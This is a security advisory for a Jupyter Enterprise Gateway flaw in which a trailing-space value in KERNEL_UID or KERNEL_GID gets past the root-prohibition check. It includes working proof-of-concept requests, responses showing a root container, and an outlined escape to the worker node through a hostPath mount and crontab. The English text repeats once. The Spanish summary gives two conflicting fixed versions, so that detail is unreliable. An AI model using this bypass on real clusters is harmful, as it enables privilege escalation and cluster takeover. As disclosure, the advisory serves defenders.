CVE-2026-44180

### Summary Jupyter Enterprise Gateway has a prohibited UID and GID feature that by default prevents launching kernels with UID or GID 0 (root). This can be bypassed. It is possible to launch kernels with a prohibited UID and/or GID by using a specially crafted `KERNEL_UID` or `KERNEL_GID` value. The feature is described in the documentation: https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/config-add-env.md?plain=1#L103-L107 https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/config-add-env.md?plain=1#L88-L92 https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/deploy-kubernetes.md?plain=1#L769 ### Details The `prohibited_uids` and `prohibited_uids` are set based of the OS env var `EG_PROHIBITED_UIDS` and `EG_PROHIBITED_GIDS`, and default to the string `0`. https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/container.py#L29-L30 The checks https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/container.py#L113 and https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/container.py#L119 look for the user supplied `KERNEL_UID` / `KERNEL_GID` string in the `prohibited_uids` / `prohibited_gids` strings. These checks can be bypassed by including whitespace, for example the string `0 ` (trailing space). The user supplied string is used in the Kubernetes manifest at https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L35 and https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L38 where they are parsed as an integer in the Jinja2 template - which will ignore the whitespace. ### PoC #### How it is meant to work Trying `0` gets denied, as expected. ```bash xh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=python_kubernetes env:='{"KERNEL_POD_NAME":"bdawg", "KERNEL_UID": "0", "KERNEL_GID": "0"}' ``` ``` HTTP/1.1 403 Kernel's UID value of '0' has been denied via EG_PROHIBITED_UIDS! Content-Length: 94 Content-Type: application/json Date: Mon, 14 Jul 2025 12:57:09 GMT Server: TornadoServer/6.4.1 X-Content-Type-Options: nosniff ``` ```json { "reason": "Kernel's UID value of '0' has been denied via EG_PROHIBITED_UIDS!", "message": "" } ``` #### Exploit bypassing the checks Using `0 ` with a trailing space, bypasses the check. ```bash xh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=python_kubernetes env:='{"KERNEL_POD_NAME":"bdawg", "KERNEL_UID": "0 ", "KERNEL_GID": "0 "}' ``` ``` HTTP/1.1 201 Created Content-Length: 172 Content-Type: application/json Date: Mon, 14 Jul 2025 14:15:19 GMT Location: /api/kernels/17eee032-994f-4dd2-8ade-87169c300a40 Server: TornadoServer/6.4.1 X-Content-Type-Options: nosniff ``` ``` { "id": "17eee032-994f-4dd2-8ade-87169c300a40", "name": "python_kubernetes", "last_activity": "2025-07-14T14:15:21.468155Z", "execution_state": "starting", "connections": 0 } ``` The pod is successfully scheduled. Inspecting the container we can see it is running as `root`: ```bash kubectl exec -it pod/bdawg -- bash ``` ``` (base) root@bdawg3:~# id uid=0(root) gid=0(root) groups=0(root),100(users) ``` If we had not supplied the `KERNEL_UID` / `KERNEL_GID` the container would have been running as UID:GID `1000:100` (`jovyan:users`). ### Impact This input validation vulnerability allows running Jupyter kernels as root, which can be dangerous as it allows more attack surface, and may lead to container escapes, compromising the worker node and all workloads running on it. Repeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. It is possible to specify volume mounts, so one vector for a container escape is to use a `hostPath` R/W volume mount, use this UID/GID bypass to run as root, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system. Organisations running Jupyter Enterprise Gateway to host Jupyter Kernels on at least Kubernetes clusters (I've tested this), and possibly on any other supported container orchestration systems or systems that utilise the `KERNEL_UID` and `KERNEL_GID` variables with the `EG_PROHIBITED_UIDS` and `EG_PROHIBITED_GIDS` feature.

### Summary Jupyter Enterprise Gateway has a prohibited UID and GID feature that by default prevents launching kernels with UID or GID 0 (root). This can be bypassed. It is possible to launch kernels with a prohibited UID and/or GID by using a specially crafted `KERNEL_UID` or `KERNEL_GID` value. The feature is described in the documentation: https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/config-add-env.md?plain=1#L103-L107 https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/config-add-env.md?plain=1#L88-L92 https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/deploy-kubernetes.md?plain=1#L769 ### Details The `prohibited_uids` and `prohibited_uids` are set based of the OS env var `EG_PROHIBITED_UIDS` and `EG_PROHIBITED_GIDS`, and default to the string `0`. https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/container.py#L29-L30 The checks https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/container.py#L113 and https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/container.py#L119 look for the user supplied `KERNEL_UID` / `KERNEL_GID` string in the `prohibited_uids` / `prohibited_gids` strings. These checks can be bypassed by including whitespace, for example the string `0 ` (trailing space). The user supplied string is used in the Kubernetes manifest at https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L35 and https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L38 where they are parsed as an integer in the Jinja2 template - which will ignore the whitespace. ### PoC #### How it is meant to work Trying `0` gets denied, as expected. ```bash xh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=python_kubernetes env:='{"KERNEL_POD_NAME":"bdawg", "KERNEL_UID": "0", "KERNEL_GID": "0"}' ``` ``` HTTP/1.1 403 Kernel's UID value of '0' has been denied via EG_PROHIBITED_UIDS! Content-Length: 94 Content-Type: application/json Date: Mon, 14 Jul 2025 12:57:09 GMT Server: TornadoServer/6.4.1 X-Content-Type-Options: nosniff ``` ```json { "reason": "Kernel's UID value of '0' has been denied via EG_PROHIBITED_UIDS!", "message": "" } ``` #### Exploit bypassing the checks Using `0 ` with a trailing space, bypasses the check. ```bash xh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=python_kubernetes env:='{"KERNEL_POD_NAME":"bdawg", "KERNEL_UID": "0 ", "KERNEL_GID": "0 "}' ``` ``` HTTP/1.1 201 Created Content-Length: 172 Content-Type: application/json Date: Mon, 14 Jul 2025 14:15:19 GMT Location: /api/kernels/17eee032-994f-4dd2-8ade-87169c300a40 Server: TornadoServer/6.4.1 X-Content-Type-Options: nosniff ``` ``` { "id": "17eee032-994f-4dd2-8ade-87169c300a40", "name": "python_kubernetes", "last_activity": "2025-07-14T14:15:21.468155Z", "execution_state": "starting", "connections": 0 } ``` The pod is successfully scheduled. Inspecting the container we can see it is running as `root`: ```bash kubectl exec -it pod/bdawg -- bash ``` ``` (base) root@bdawg3:~# id uid=0(root) gid=0(root) groups=0(root),100(users) ``` If we had not supplied the `KERNEL_UID` / `KERNEL_GID` the container would have been running as UID:GID `1000:100` (`jovyan:users`). ### Impact This input validation vulnerability allows running Jupyter kernels as root, which can be dangerous as it allows more attack surface, and may lead to container escapes, compromising the worker node and all workloads running on it. Repeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. It is possible to specify volume mounts, so one vector for a container escape is to use a `hostPath` R/W volume mount, use this UID/GID bypass to run as root, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system. Organisations running Jupyter Enterprise Gateway to host Jupyter Kernels on at least Kubernetes clusters (I've tested this), and possibly on any other supported container orchestration systems or systems that utilise the `KERNEL_UID` and `KERNEL_GID` variables with the `EG_PROHIBITED_UIDS` and `EG_PROHIBITED_GIDS` feature.

Jupyter Enterprise Gateway lanza kernels remotos de Jupyter Notebook en clústeres distribuidos como Apache Spark, Kubernetes y Docker Swarm. Las versiones 2.0.0rc1 y superiores anteriores a la 3.3.0 tienen una característica de UID y GID prohibidos que, por defecto, impide el lanzamiento de kernels con UID o GID 0 (root), y esta restricción puede ser eludida utilizando un valor KERNEL_UID o KERNEL_GID especialmente diseñado. Esta vulnerabilidad de validación de entrada permite ejecutar kernels de Jupyter como root, lo que puede ser peligroso ya que permite una mayor superficie de ataque, y puede conducir a escapes de contenedor, comprometiendo el nodo trabajador y todas las cargas de trabajo que se ejecutan en él. La explotación repetida puede comprometer todos los nodos trabajadores y, por lo tanto, todo el clúster de Kubernetes. Es posible especificar montajes de volumen, por lo que un vector para un escape de contenedor es usar un montaje de volumen hostPath R/W, usar este bypass de UID/GID para ejecutar como root, y luego obtener ejecución de código en el nodo trabajador subyacente creando una entrada de crontab en el sistema de archivos del host montado. Este problema ha sido solucionado en la versión 3.0.0.